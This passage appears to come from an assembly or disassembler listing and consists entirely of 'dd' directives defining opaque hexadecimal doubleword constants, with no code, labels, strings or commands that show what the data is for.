		dd 12CC3478h, 0E9854AC8h, 4285E655h, 56F2B305h,	0F7F84263h
		dd 40E187CBh, 5621D1F3h, 7A8DD330h, 16459202h, 0E59011E1h
		dd 0BE509E3Ah, 618EDD0Fh, 450EF808h, 23457E1Bh,	86B4FCCDh
		dd 0C59EF2DBh, 790F3335h, 0B3B6C264h, 46E80E95h, 0E9559363h
		dd 214C4952h, 91EDF952h, 0BEDEB4Eh, 0DEDBA888h,	0BF9BDEFEh
		dd 0AA2461EDh, 849E41Ah, 0C6A5A9C3h, 69886F1Dh,	0BD88C03Fh
		dd 0CA79BF0h, 0EDB2AB66h, 49E8814Ah, 4D642C0Fh,	59DBB2C7h
		dd 0A27A0696h, 10E4E686h, 0D755C68Ch, 0FBE3B1Dh, 0B55188D9h
		dd 0F156C8A3h, 9E11968Ah, 2AE2CBB5h, 4495D7DAh,	644E9A66h
		dd 6F03E2A1h, 1E6A2A1Ch, 77AFE087h, 20964D40h, 999697C9h
		dd 13B9BD1Eh, 0C1020D32h, 0A7AAB3EFh, 83C39B36h, 0E4A841Fh
		dd 0D0E1EC7Ah, 40A033D2h, 34DED00Dh, 0CEB5ED8Fh, 7111C5D1h
		dd 0EF6594C4h, 1A34A594h, 461D84D2h, 0CF2367C9h, 0BF86018Ah
		dd 212D0C92h, 4C9E0B68h, 0B40F06B5h, 0D660769Dh, 8D8BB298h
		dd 9479BF9Ah, 29287712h, 0E6E242F0h, 0AC56B02h,	20810B63h
		dd 356A7440h, 84B9B80Ah, 0E32EB4DDh, 692FC4FDh,	0DC4F3Dh
		dd 0CAE7932Eh, 0EC1B66D1h, 0C3B77C4Eh, 56153D4h, 37B1FFE0h
		dd 3EFC2088h, 7F0AABB1h, 0F64925F2h, 13188ADDh,	65F2A82Fh
		dd 0E3BB6122h, 0FBE7CE73h, 86ECA47Fh, 5896AD9Bh, 0A130309Ah
		dd 0AF28313Eh, 18FBAB1Fh, 307C5044h, 0EC3B2B03h, 502C8AC8h
		dd 3315C6CCh, 72765CF3h, 0B5E187EAh, 0E33DFD1Eh, 2A5F4AE5h
		dd 812CFDA1h, 0D93FA133h, 0A55BD31Dh, 5B7396B4h, 62EB1786h
		dd 4F9283B8h, 5D37F5CEh, 6E655C33h, 0BE624E25h,	9AD86C94h
		dd 7F1683B8h, 15E7B7EEh, 0C4E25845h, 31097A1h, 40314FA5h
		dd 0C6C0847Fh, 0FF7DC131h, 0DFC1AFC2h, 2B3BB825h, 0E41B8D88h
		dd 6980A8B6h, 81600B4h,	0BEBEAE49h, 9BA8B34h, 40BBFFFFh
		dd 1C9AF102h, 5C2B6351h, 59F1DFF5h, 7D36D5A9h, 0BFA47090h
		dd 20473FC4h, 540EFF6Bh, 0E629AA1Ch, 0FEA38B9Bh, 6C9AF6F7h
		dd 0CF71DDB9h, 7CC9D3F9h, 498C1A2Eh, 0ACD64F9Bh, 0FC4CF25Dh
		dd 2C72A7EDh, 594504B7h, 0E226F2D2h, 0E9FB0EB3h, 43FC321Bh
		dd 5685D08Ch, 0BF231A82h, 0EAB49A09h, 7AACB03Eh, 21BACF75h
		dd 86AF34E4h, 24C34B26h, 227EEBA7h, 8E6E819Eh, 4E5552D7h
		dd 3015E027h, 0A4FEDB8Fh
		dd 0BFF9B211h, 0A3CE0A1Fh, 0AF9AF051h, 0B8D2B525h, 96B47479h
		dd 0E242B280h, 0E7841784h, 0CA7C340Ah, 6FF2CCCCh, 6AF1D374h
		dd 0A92C7821h, 0A18AD4E2h, 0ED2F8DAEh, 0FA026FB1h, 0F17656F0h
		dd 0B4ED38E4h, 0F0CD4B5Fh, 93FA78B6h, 0C568BB10h, 189C95C1h
		dd 0A52B4162h, 80171625h, 1765276Dh, 0B9130201h, 5F761FBh
		dd 0D62AFD98h, 433E8FE0h, 0FF160C6h, 0F8BC1822h, 0F51D4542h
		dd 4E303AEBh, 70A2D3ADh, 39EB9AE3h, 0EE00937Eh,	31E648E1h
		dd 3C7F9DC4h, 29D29311h, 131303B8h, 85558674h, 12E5144Fh
		dd 25EC790h, 90304ECEh,	4454BCAFh, 0C6F42550h, 1C635ECCh
		dd 0DA2DAA26h, 0E9E62E7Bh, 9AE77C31h, 51D9BF69h, 9DD88040h
		dd 4BF813ABh, 0FCDBB3C3h, 0BE912F6Fh, 0FD77214Dh, 0A27AC53Ch
		dd 296F4755h, 4435DD7Bh, 0FF677911h, 8620D98Fh,	3934CE01h
		dd 7BC4E36Ah, 1BB57081h, 0E76C160h, 57532CA3h, 887D79BFh
		dd 411404DCh, 0C5978E7Eh, 5030073Fh, 0DB3487A9h, 67170283h
		dd 0C176941Ah, 7299F93Ah, 3EC6E1C7h, 0F4DB6CE4h, 5B4ED847h
		dd 0AC754C6Dh, 980DD98Eh, 7C6E658h, 53739869h, 0C0A9AE1Dh
		dd 0C5F53322h, 99617FFFh, 7DB60CF9h, 0DEEAEC7Eh, 0B430665h
		dd 0F77E0990h, 7CCEB6F7h, 50A9A4BFh, 0CD58E723h, 0C38A7F6Dh
		dd 0F6B127B7h, 8F8B4F2Dh, 1737BE53h, 5E402CCAh,	8EBED42Ch
		dd 0EC0461C6h, 1D4C72F6h, 0EBBBA6E5h, 1D9DADF2h, 250C29D1h
		dd 22E28434h, 2BFC26ACh, 6603428Eh, 2C8B35FAh, 791A5458h
		dd 0F075C956h, 6C3B10BFh, 0CAA18336h, 0DB368704h, 220FB214h
		dd 52BD4A3Bh, 8A647559h, 0F32025C0h, 9C1F3A46h,	13745E4Dh
		dd 2F01E8D0h, 9B903E98h, 55BF4070h, 0FC119AB0h,	6EADC4BBh
		dd 0D90937CBh, 0CF1BD788h, 0D4CD9BC8h, 0A9DF6865h, 88E8A302h
		dd 58C1EF52h, 446855D9h, 0EC19E50Ah, 0D0DAE2EDh, 0D19F060Ah
		dd 0E913FA75h, 0FD85C490h, 5F1C7AA4h, 0AC627E5h, 0CF7DCA02h
		dd 9C562601h, 2D32EABFh, 0E768C7CBh, 8D5EDEA2h,	4233CE8Ah
		dd 0DBBAD5F9h, 8A8CB911h, 5DB9C87h, 7C0A1AF1h, 3BFA717Eh
		dd 2B341096h, 21586FD0h, 16B06DDFh, 0EAD7CFFCh,	980DBFC7h
		dd 0E5201ABDh, 19CDDB4Dh, 887725B9h, 0E6B61733h, 7AAA541Eh
		dd 0DBC5EB5h, 85AA44BEh, 7C1116A3h, 7CDB69B4h, 4B21DFB4h
		dd 0F063F10Ch, 7200406Fh, 0BCB8E700h, 2DD9D653h, 3A4929D1h
		dd 0F65DF773h, 0CC8A78ACh, 2BC48984h, 1BF3AD2Ah, 0F2D1DAD3h
		dd 0D7F0304Dh, 0D3D469E6h, 0CB6E409h, 0EE4B5BB4h, 0D6AB6D13h
		dd 91345AB6h, 890AABDEh, 12A2782Eh, 549F111Ch, 0F0DCEF91h
		dd 8575CEA9h, 0AE09F307h, 0C1AA347Fh, 3A422C30h, 80CC6399h
		dd 0FD9D5F1Dh, 7E66E0F9h, 6C88E001h, 0FEC61D16h, 2EBE84B1h
		dd 15EDF84Fh, 26958612h, 7BF15701h, 5DFB3C66h, 71C4F413h
		dd 0AD5048E9h, 6D65C547h, 0CC257F82h, 88696243h, 70B7B4FDh
		dd 0EDC4BCD0h, 0C4AC494Bh, 11669FA0h, 52ACBD99h, 470840EBh
		dd 0CE409838h, 9C00C118h, 0D42FD8C9h, 7CDD571Fh, 0A3F253C0h
		dd 251D6A14h, 24CDA7D5h, 6E589D0Dh, 0CE7978E9h,	5FA6B636h
		dd 0CAFF09EAh, 0FCD14118h, 0EBA417F8h, 4CA9EEE3h, 5E7E16BEh
		dd 0CC826FAAh, 2DF928C5h, 0F531228Bh, 109263F2h, 3C02E421h
		dd 2D48E215h, 408C8E19h, 0B8007463h, 0AB6F5AFCh, 70A45B1Fh
		dd 35CE07Fh, 0A0EC7564h, 10BF870Ah, 91821857h, 0DC3DEE2Ah
		dd 75BD3AB7h, 1CE6A559h, 6102FB37h, 24BB95D0h, 0E9073751h
		dd 0C2F3131Eh, 0FBECCA5Fh, 0DE0E83C2h, 0A90DC81Ch, 0AFB61E8Ah
		dd 0AE1ED5B1h, 1EE99B3Eh, 0B50084AAh, 6CE0CA48h, 4DD87852h
		dd 5ACAB71Ch, 471EC835h, 22F18843h, 0EE5B6A8Bh,	64385873h
		dd 8346E8A6h, 15B4D6F6h, 24FF5D1Eh, 759ABD59h, 761074B1h
		dd 5ED82BE2h, 0DCE8C115h, 8BDA0D90h, 56BBF22Bh,	0C8366647h
		dd 7936E1Bh, 0A531349Fh, 1D7A28DAh, 3FE8852h, 0FC34DBA3h
		dd 0F7D48D3Ch, 27DA103Ah, 3EC72C6Bh, 1552C573h,	0EDC85045h
		dd 77E04C43h, 46B655FEh, 0C60CE1CAh, 0EEE5D516h, 8DA196BCh
		dd 0CB7FF0DBh, 3A22046Eh, 0D86C7EBEh, 0EFB98395h, 0AA86A1FEh
		dd 0CBDA5092h, 9CC98115h, 769B5F90h, 0A1A47BA9h, 0A9579246h
		dd 75B581E9h, 0C167A44h, 1F183CDBh, 328BC03Dh, 787399E6h
		dd 3EB6F6A7h, 6858EB43h, 0CFC70704h, 8E20DF88h,	67F0BA1Bh
		dd 0B1376983h, 0A93F8D1h, 81E1D99h, 4C93A025h, 9480F8DCh
		dd 917880E9h, 0C67F3FF8h, 0CA92B447h, 924EA393h, 452154B6h
		dd 64EC2E68h, 0BBC58E60h, 1194B76Ah, 43F69F9Eh,	42319D2Bh
		dd 9976A3Ah, 200C958Dh,	0FE3559D9h, 0FBC6B1F9h,	0B3074897h
		dd 0AB94A213h, 4A63F79Eh, 374AF46Ch, 0BDABBCECh, 0FF11B288h
		dd 0D2E08062h, 661A25A8h, 2387FDBh, 0C3FB32DCh,	959BFEA8h
		dd 2C3E0B69h, 0CA3D64Ch, 58F6AFC4h, 0B245090Dh,	4529E440h
		dd 0DA6CDB05h, 7DF248A7h, 3A8EA7F5h, 73DFD82Bh,	7B922B53h
		dd 0B151997Ah, 0C1290D5Bh, 5BDA0D99h, 8186058Fh, 337E4CD0h
		dd 0DC5A4575h, 86DEC786h, 0C4B6F6A8h, 0EB9BDC66h, 371B1C06h
		dd 81C6F5D7h, 6CB553C7h, 0A8A1D539h, 7C3E26DEh,	1D5422CCh
		dd 0DBE7CBAFh, 0BAEE702Ch, 5BB9C74Ch, 1A86D4EDh, 3E18F9AFh
		dd 5407A918h, 23A94638h, 0D43DE25Bh, 9252768Bh,	73CB8759h
		dd 11AF8C9h, 4A455E27h,	0EC4C8BD8h, 0BA35347Bh,	0CFF20607h
		dd 7BF56EAAh, 854575DBh, 0CE8441EAh, 1891839Ah,	0DE3DBD8Eh
		dd 1617B5F8h, 11B3B9CCh, 25D4E963h, 1BCCB9C0h, 870B3952h
		dd 98CB00A7h, 4442AB4Dh, 0D7432A88h, 9BFC31B6h,	35EABC58h
		dd 700FB583h, 84DAF999h, 0B7F1074Ah, 0FEC1B084h, 0C03C3278h
		dd 268F3EFEh, 0ED91B952h, 0D6358F55h, 9D2EBB3Ah, 26AD9C7Fh
		dd 0FFE058E7h, 9D6F72F7h, 0C43B58EBh, 0F0B6ED73h, 2434761Bh
		dd 0C9755BEh, 9CA8F099h, 0E9597AD2h, 95C37390h,	0F9A83A8Ah
		dd 824C0F20h, 6D59216Ch, 0A75FFFD2h, 8D1BA743h,	36819B9Dh
		dd 0B712EA52h, 610CF820h, 7E0EAD1Ch, 0A983CEB7h, 9B6E9AF7h
		dd 952B8D01h, 29AE6303h, 68440F28h, 0C86FC1DFh,	0E5F0CB82h
		dd 0CA653B63h, 4D21F40Fh, 7BC3F395h, 56085A39h,	0C80DF93Fh
		dd 930C6D51h, 2DBC87Eh,	0C6C196ABh, 53BF235Ch, 7E687EA7h
		dd 0A4E1FC60h, 41BD6114h, 490ECD6Eh, 0C7E96DD7h, 3D90989Ch
		dd 0AB71FE7h, 65A472Eh,	4A812D9Ah, 491FD5BEh, 0C8ABA46Bh
		dd 8D361DCBh, 0CAD5D797h, 0A29F0361h, 7990F185h, 737AB182h
		dd 4B63796Dh, 824FAA3Ah, 184CF1E1h, 0A6D4CE41h,	8238E210h
		dd 3F51E0E8h, 35B28575h, 57ACF77Dh, 2324071Ch, 32020DF0h
		dd 310F1F7Fh, 99C543AFh, 0F994C887h, 0C282FAE2h, 4141B461h
		dd 96DAFE09h, 0FE9EFF18h, 7DAD1568h, 8AEB4693h,	297140DBh
		dd 146588F0h, 209F4403h, 38D03C57h, 0CA1172EEh,	0E23FB25Eh
		dd 0B75488A4h, 0EA8010CEh, 68102482h, 57363D0Ch, 0AC4064B2h
		dd 73760A2Ah, 1CE74AB5h, 0E9558E29h, 1AE58C38h,	91A02B77h
		dd 0CF271F64h, 631EB479h, 9AF1F76h, 9A148706h, 3FA8E59h
		dd 0AF62BE1Eh, 2FF12B62h, 0DCC5E768h, 16C2F380h, 57180B68h
		dd 91252EAFh, 40A78F93h, 0AE48055Eh, 889AF3BBh,	7717A993h
		dd 3E109EF2h, 0FD0FD11Dh, 0E6775BBFh, 9D9142B2h, 7DBACCF0h
		dd 920E14BAh, 49E8570Ah, 4F964040h, 8822F0FFh, 61DD962Bh
		dd 0D97F3FF1h, 69A202B8h, 0BE49C3DFh, 0C52045DCh, 65BE4BEDh
		dd 0C67EE444h, 214FDC98h
		dd 0CE5F3067h, 5699FEFh, 5D8685BFh, 29E77A6Fh, 491CCC87h
		dd 0D4DAE511h, 0F47BC589h, 69A5CE7h, 99F99877h,	0B48AE091h
		dd 0BD695D91h, 5B69A77h, 0ECCA2642h, 0ED7E4271h, 0F6678B33h
		dd 0DA7E84DFh, 2721433h, 0F42E9D64h, 9C29279Ah,	3E05EB6Dh
		dd 666D593h, 0D7E028EEh, 0E47AF245h, 0C8B64E70h, 460ECDB7h
		dd 7610E90Bh, 9A725C8Dh, 3B4C683Ch, 72DD337Ah, 0B3911883h
		dd 58CD6BDAh, 0D7DEE03Ah, 0B5EFF4CAh, 918899DCh, 4A56426Fh
		dd 96ED7675h, 96353B28h, 8733D9D7h, 95D1A6FAh, 0FA84B2EBh
		dd 1DF54EA5h, 97D1CC1Bh, 588B86FDh, 9A51A016h, 0BCBEE3FAh
		dd 0A2246906h, 8C916C89h, 9AEBE0CCh, 8510FD83h,	0A80F2079h
		dd 8956CFEEh, 42E1F198h, 5CA2EB6Ah, 137D83A9h, 92320A4h
		dd 4E951088h, 957133C8h, 66D3A914h, 98ED5D0Dh, 43A0456Eh
		dd 0B9B3986Eh, 0F3E1B4FEh, 76825F34h, 0C9982714h, 0D803C486h
		dd 39EA8FA3h, 69DA7BD1h, 0DA8DD779h, 7FB6A4DBh,	9ED4380h
		dd 862F59ADh, 0AE82652h, 0F9B84BBBh, 0DD36EC44h, 88820C1Ch
		dd 0CF1C8B2Eh, 818F4C10h, 16F88F07h, 0C8872C90h, 5BD87FF6h
		dd 0D7492491h, 1665DCEh, 899B60E0h, 3A1FB4F3h, 329125EDh
		dd 65AB97A7h, 95C079D7h, 28BD6BDEh, 1436D0FCh, 5281A8DEh
		dd 0B5EBAED6h, 6FBDE1C7h, 0DE0F40CEh, 0DBBF5577h, 4B53E196h
		dd 4BBCEDAAh, 58E93368h, 18CEB107h, 23A48182h, 5BB1E42Eh
		dd 0AD27CEDAh, 0B432B06Eh, 6E6890BCh, 91849911h, 0F8E9D626h
		dd 492C674Ah, 0D25A49FBh, 0F47868D8h, 0BCD97A20h, 34B6DCA8h
		dd 0E92170FAh, 915B4268h, 6487DB6Eh, 95E28304h,	3C7AC1B1h
		dd 92B1D0D4h, 3176098Bh, 0D4D1354Eh, 0E484BB6Eh, 0D29F6448h
		dd 920FEEE3h, 814392Ah,	40112D76h, 4CD99298h, 7A0D580Fh
		dd 6003E1BAh, 8119EDC1h, 951D7DABh, 0D400E3E3h,	0E0691DCDh
		dd 0D8030B7Fh, 0B99FCBE7h, 82E67899h, 2C70D273h, 0CAF07A09h
		dd 0F55E59B1h, 98EFA87h, 55B1DA2Ah, 0AACA3C17h,	0AA2B5EB8h
		dd 0C1774DFFh, 8C1ED123h, 7786248Dh, 0F78AE7A8h, 578919F6h
		dd 0DE7F5CE0h, 0D5D0EB2Ch, 0C98AE31Ch, 0CF5F3642h, 970D634Dh
		dd 2BECD249h, 5F8ABEA2h, 32B0B6Ch, 50B300DCh, 6F00C1BDh
		dd 0EA7A6B86h, 3F6FF672h, 92DD0C36h, 0D882C1DCh, 19577123h
		dd 0D4EBD860h, 0DB36D62Bh, 58EA4FD4h, 829642E4h, 21812369h
		dd 0D848381h, 0CD36155h, 0A971AC8Ch, 0F7F8F9B7h, 0AA8C81DDh
		dd 0FA2A9BD0h, 0C295615Dh, 50282205h, 2FDD5B9Eh, 0F2AD0C0Dh
		dd 4C9591Fh, 54823343h,	0B8449074h, 8AA7A068h, 88CA9CDAh
		dd 56D32C6Ah, 0FE6C59D0h, 1A776D04h, 2D89CF05h,	0F877888Ah
		dd 2B9E313Ah, 0D9F71380h, 49662DD6h, 58D20720h,	96954E9Ah
		dd 0F67ABFB8h, 5DE2FEAFh, 0E2F1F919h, 71E12EBBh, 0B07483Eh
		dd 7756605Dh, 9875C231h, 658B5ED1h, 848924ABh, 0A655E5F6h
		dd 0FB34BB8Eh, 0D2D540F6h, 259CDD5Ah, 77077AE0h, 89A51C2Eh
		dd 0E5424A4Ch, 3570FDABh, 740DF7D6h, 7656FFC4h,	0C0CC0B9Ch
		dd 735F00DCh, 8A4DBDA7h, 0FCF04489h, 66DB974Eh,	0FC58FF42h
		dd 0A46D5F86h, 9100E8EFh, 0E8677AA1h, 76C4A4FCh, 73C529CFh
		dd 685FD929h, 5AA99CB0h, 66C3DD49h, 0B6B1491Ah,	18608850h
		dd 893F49AEh, 0AD9E1B3Bh, 82CEDE8Fh, 3EB3A2A8h,	2849580Eh
		dd 90AD395Bh, 7DC65067h, 0E4579D0Eh, 764DC4D7h,	94205E6h
		dd 0EF288D9Bh, 1CEE2F06h, 0AAA590EAh, 24DB023Dh, 0C3BFD25Ch
		dd 0DF79913h, 0A4D885Bh, 9B0F7159h, 7D6FCB79h, 0DBAB31F2h
		dd 7881E969h, 2D751E27h, 52309430h, 82870278h, 60E4F2B2h
		dd 0BDDFBBB6h, 89453A1Fh, 16EC1D9Eh, 0A8878C53h, 3280E28Ch
		dd 0FC4A255h, 2BF305C9h, 5483E53Dh, 0BEAF881Bh,	0EA8BB2CFh
		dd 8FB7F37Dh, 716CA36Eh, 596A0C16h, 0AFA9041Dh,	9B428C58h
		dd 0FDE69FDh, 0F9DB0C8Eh, 41EE1029h, 123F8C6Ch,	0F9395B6Ch
		dd 7EAF9438h, 416F77A6h, 1A2142D4h, 51A7626Bh, 0E170189Fh
		dd 303B947Ah, 22FFE590h, 0F0A4B176h, 3E7FBFCAh,	0F558C71Ah
		dd 34D2FB9Dh, 3DB9961Ah, 0C7DD81C9h, 2D5F6130h,	0FA40F8DFh
		dd 0A82C1F5Ch, 2AAB2C60h, 69DA5001h, 0E1AEF317h, 0AA922E16h
		dd 459900DFh, 7C1538E4h, 56FD8E18h, 0FD73ABCFh,	7DAAA741h
		dd 57686D99h, 55FCF413h, 0F95E5708h, 76DA2273h,	0CD13C85h
		dd 22886068h, 88E5A4B3h, 377FFC0Eh, 889B86D5h, 0F078972Dh
		dd 61CF44B7h, 0EB5B9FBFh, 9F4F265Dh, 0FB2FCE4Fh, 38560478h
		dd 0ADF73A6Dh, 81F74541h, 0AC6D8661h, 0E5C5E517h, 4E8F2CE9h
		dd 0A5E8BBA0h, 0AAF38256h, 28D17F75h, 86A52EBh,	0C27617FFh
		dd 1F337926h, 681A0A4Ch, 0C1545B94h, 0F52F1CB5h, 9F583EDBh
		dd 5A0E7B78h, 9F989877h, 0A9BA84E0h, 0DB167C1h,	0ECC9DE66h
		dd 9E9FCAA7h, 0FDE4A51Dh, 21AEA0D3h, 0E63CB1E4h, 336D77EDh
		dd 453A3525h, 0C3AD780Dh, 58BE6D42h, 0E76BA6E1h, 8FE96FD1h
		dd 0BD93EEB2h, 0CA706E44h, 0D4A8E62Dh, 0C105BA6Dh, 4B17ACDFh
		dd 29C1A136h, 6BD34753h, 2DC86851h, 0E8D2EE72h,	0F29E73Ah
		dd 0A18D874Ah, 0BF807E35h, 6C354997h, 0C2388787h, 1E1ED49h
		dd 5E825712h, 11EA48B9h, 0FF33B712h, 0FD7C5993h, 7B991DEEh
		dd 0D9C22ED0h, 88EB75ECh, 98717C0Ah, 2350DE98h,	0F7785F09h
		dd 9E39275Ch, 0EEB72AADh, 0E06A4D51h, 828D9562h, 0A35B2BE5h
		dd 0C023FC15h, 0A3251F93h, 679DE48Ch, 53CE0100h, 82091A82h
		dd 37DF69DBh, 84AE6FA2h, 0FE1B8F97h, 0CFCA936Eh, 0F6D028B4h
		dd 0E81F955Ah, 5A1C11FCh, 0AE8463EFh, 0DE473E34h, 5F45D32Ah
		dd 54368228h, 4B9854h, 653CD3EEh, 69B88B58h, 1ED4075Dh
		dd 0C4F524E6h, 0AC11147Eh, 0B1C507F6h, 7C1750D6h, 1483956Ch
		dd 8191988Ch, 0FED6C7Dh, 0BFE419DFh, 1CCBAF55h,	693AAC0h
		dd 0DDF248F9h, 1C4A79ECh, 38EEF007h, 0A5226DFCh, 0ABB739BEh
		dd 63340088h, 1A82168Fh, 0ECE8EDFh, 928A93BBh, 30690991h
		dd 0B6652BF2h, 581FCA9Bh, 4664A115h, 7F195513h,	0CE8A7340h
		dd 2ACFFC0Ah, 40A92F3Fh, 2F1490Fh, 0C43B21D5h, 4696C432h
		dd 0AE56E8E0h, 14FC94BEh, 0E754C3CBh, 0F1F02729h, 577FA2D1h
		dd 0EA9F9E63h, 5451CEB1h, 178F5608h, 0DBEE3CEEh, 0CBCA051Eh
		dd 0F2E184Ah, 986D75A4h, 8B813F85h, 7E5DCA22h, 896FA98Eh
		dd 0A3FDC366h, 8ED6C98Fh, 22D98CADh, 0AB2506BFh, 9CAF5A10h
		dd 0D7CFF9Eh, 73D46453h, 0F1AA2BCFh, 54A8C3B1h,	84A3E05h
		dd 5DCC634Bh, 3DF7D355h, 60A7735Bh, 0FE46FFD7h,	88518EA0h
		dd 0E0A8932Bh, 81695236h, 5A1A6D54h, 0A6495A29h, 670B27C8h
		dd 0B5D57F6Fh, 8F082F5Fh, 6B0AB772h, 800D0155h,	45686C9Fh
		dd 13B4CBFAh, 0D1F26742h, 26F5F12Bh, 4CBAB9ABh,	1CA84C2Dh
		dd 34E9ACC6h, 9FD447DCh, 0A7D0D7CBh, 0EAC6BD0h,	0D216EB76h
		dd 70CBA63Ch, 3AE60749h, 1331A335h, 6F68C363h, 1B9846F0h
		dd 4606720Dh, 28E73671h, 0C235EA9Bh, 2D18AE75h,	0A2359536h
		dd 0F1BF46F3h, 9662553Ch, 0D07D178h, 0FB716426h, 8E6B2952h
		dd 9C16A112h, 0F7203A25h, 73434884h, 0E0B2B0A2h, 4423DA3Dh
		dd 0FD2477F9h, 0EAB8B3A8h, 0BC6DE168h, 3AA9C905h, 863D3A49h
		dd 4691B640h, 0C818676Ch, 8D696124h, 0E0BE6C36h, 0ACD3A32Eh
		dd 2CF6B551h, 9983456Ah, 68D74CBAh, 1AD82FA7h, 6FDE3A4Dh
		dd 0E226760Bh, 0D52D7837h, 2EDA3413h, 0E47B4AEAh, 7E697FBBh
		dd 0DCBBB38Ah, 347F874Fh
		dd 112FA3B6h, 74AFB11Ch, 0B2B12641h, 8BC9E912h,	0E18D7776h
		dd 185528FDh, 3BB4A010h, 0F3BFE51Eh, 552D4A8Ah,	9C87C8CBh
		dd 2C0CDE17h, 57C23FEFh, 69652359h, 0A657906h, 82D45591h
		dd 7516E0Bh, 1842F57h, 0B78C0E82h, 0F857BB91h, 0D61A739Fh
		dd 37533E3Ah, 77AD45B3h, 0B1E66B34h, 87E226D4h,	40BED8A3h
		dd 13AC9FE8h, 0B4345C3Eh, 0F53B4714h, 2526C15Eh, 99143F05h
		dd 537D66h, 0D1A26EC1h,	8AE8DC7Eh, 0F5A43617h, 5E80293Fh
		dd 56F12BD5h, 1B3A6605h, 0DEB7AD12h, 0A564874Ch, 5165F7F9h
		dd 40A1C8F4h, 0D496EC8Dh, 8F80AD3Dh, 58C4CC06h,	0C14332A4h
		dd 0A504DB25h, 0E0A5885Ch, 4160A5B5h, 2905ACE9h, 9DBC9A3Eh
		dd 1CB03C26h, 435898DEh, 6B7E99CDh, 577FB9AEh, 6D3A30B6h
		dd 972BD27Ah, 4D2F462Eh, 49B11E65h, 41E409A0h, 86B95FEBh
		dd 0AE0D1700h, 32CDA8B4h, 7FAF306Fh, 915CA025h,	2717C1D3h
		dd 565B7D58h, 9034FD05h, 0F6FE67A5h, 8BB4F5BFh,	6DAF1F8Fh
		dd 27A2A7C6h, 927A1535h, 3E5B8E9Dh, 26516E52h, 290AAEB0h
		dd 2BE35B2Dh, 0FE580D8Bh, 0F41712D7h, 2D00569Dh, 647AC88Ah
		dd 0BBA7289Ch, 0C2DE1210h, 113A56C8h, 8007B40Eh, 2AF9C2EBh
		dd 0C2D08C22h, 0FF0EBB1Fh, 0EE9064FAh, 0B680EFAAh, 7057A8B7h
		dd 0CF1232AFh, 578B1A1Fh, 0D233665Fh, 0AC43879Bh, 70CC5604h
		dd 0F9339EDCh, 2B7D945Ah, 0CDD574B5h, 0A6461E08h, 8D748382h
		dd 0CA319A13h, 0A01465CBh, 909CF451h, 86A84CC8h, 15CFED8Ch
		dd 1717E99Fh, 7E193DF4h, 3C2D8C13h, 1D48F2E0h, 0DA7DB2ADh
		dd 752A26B1h, 0EF6E065Dh, 84582FF0h, 96FBF76Fh,	8C26CFEDh
		dd 1EFC698Fh, 2598EE5h,	0D25BE8B9h, 69034A9Ah, 0D0B45E83h
		dd 975FCF4Ch, 94A9BE1Ah, 7B11DB41h, 246B6DE0h, 7574C362h
		dd 6CDD424Eh, 0F91F862Fh, 0FFF00BBBh, 0D3BBA1B3h, 9B725284h
		dd 0D94A407h, 3242FEAEh, 3293A092h, 9C379334h, 0BDAB5C44h
		dd 0C58706C4h, 8950ECE8h, 0DCEF9C19h, 0B449837Dh, 50F3855Bh
		dd 16B57E25h, 73A96D61h, 0F2E8523Ch, 0DC40D64Dh, 55F04B0Eh
		dd 0CF47481h, 1AD0F922h, 79ED1BAAh, 0F2B6E6DBh,	19F3F327h
		dd 20CC6F53h, 0C1BFDD4Fh, 1BF48F06h, 5BE49DABh,	61BF9B8Eh
		dd 0B145EF38h, 0CBA34F9Dh, 0BF52D31Bh, 2A4F4E66h, 0E2D9F699h
		dd 50DEDC29h, 99607D5Fh, 772A6208h, 5A82773Eh, 123631Ch
		dd 0F37D361Ch, 926762F9h, 0C8DB65CEh, 0DF7FBC17h, 538CE231h
		dd 0D18C5C1h, 0A900747Ch, 9A32EBCBh, 0BDAE1C3Eh, 242D6F99h
		dd 46621445h, 0F4ACBB73h, 0FAFF8D86h, 3F51821Eh, 0A7E2C87h
		dd 4D5D2172h, 712D6130h, 14DFD75Fh, 4692F4ADh, 0D155B92Dh
		dd 0E721FA36h, 0BF5F9E9Ah, 7ED6DC65h, 89258D62h, 0B8ECB4F5h
		dd 0B369DAEAh, 8A07211Bh, 2D224ADBh, 0F1E2A68Bh, 919EB7CBh
		dd 0C3D44C78h, 0C26BAAA2h, 0AD125F53h, 70C1367Eh, 266C612Bh
		dd 0FB6F8073h, 493AEEC1h, 2DDF4099h, 0B1BDD546h, 29680C5h
		dd 0BEE81CC5h, 0B1ADB519h, 7750C282h, 0CC013322h, 0C8FA94A1h
		dd 9F6B45FDh, 666C86Eh,	0E797E406h, 540649B9h, 46AEDCFBh
		dd 1D5FECBh, 553A2C4Ch,	0FAF7398h, 0A0CD0EE2h, 6E459F85h
		dd 72D3F6BFh, 7C723D24h, 8F2B0244h, 0FD6C8D12h,	6DB98983h
		dd 9BA1C40Fh, 63CD7D96h, 57DDCA0h, 0BDFC5072h, 0EA4EE8Bh
		dd 6517248Ah, 26B78A0Bh, 178A32B6h, 0D279AEABh,	3FCF8296h
		dd 0BD921D10h, 477C1CB1h, 0B1B19A42h, 0F72E3EE2h, 5B26F2D8h
		dd 6B467502h, 3F989422h, 0E803C3E7h, 0BAA4C280h, 1D2F5134h
		dd 630A7D75h, 0C8EDE106h, 0CBC898C3h, 0CAAAD90Ah, 2E77EFCAh
		dd 0EB9E371Fh, 8A2C4B0Fh, 355BFB82h, 0A9A386F5h, 1FED2A12h
		dd 195CF774h, 0EE376261h, 63406095h, 96AFB82Bh,	0C2DE0047h
		dd 90878B1h, 3646B374h,	4DFA93C5h, 0B26E77C1h, 453D6520h
		dd 0BBEDC46Eh, 9E53B097h, 0EB6F56E5h, 30DF8D3Dh, 8D7E2963h
		dd 2B1E7CDAh, 311B2E75h, 49A75DCCh, 9C337020h, 0F6C8054Bh
		dd 5C443BDFh, 83340601h, 410CA4Ch, 0CEF24E23h, 3D4AE0CBh
		dd 43683D68h, 5B868E4Fh, 7E837B80h, 0DFA32958h,	0B24B932Ah
		dd 7120A6BAh, 0C5DB62B2h, 0BA6D52D5h, 4219D2C2h, 0B6DAAE96h
		dd 24BCA2CEh, 150453D5h, 32C424D7h, 5CDF7B7Ah, 0A2121BA3h
		dd 6F619C20h, 171D5BAAh, 0E953F107h, 32ABEA84h,	65D96C88h
		dd 9AD63B0Ah, 59040B5Eh, 63C61B2Bh, 0EF0D53F9h,	0BCD3A86Ah
		dd 0C49C8769h, 0A7F1ACCEh, 42EAEFB0h, 38B4077Ah, 252EB1FAh
		dd 38CEC1C0h, 0B886CD07h, 0DA7B26BEh, 92AEB13h,	108677F0h
		dd 0A9FD1F1h, 0DA1CD872h, 0AB997BE1h, 0B15BC71Ah, 0B1EDC12Ah
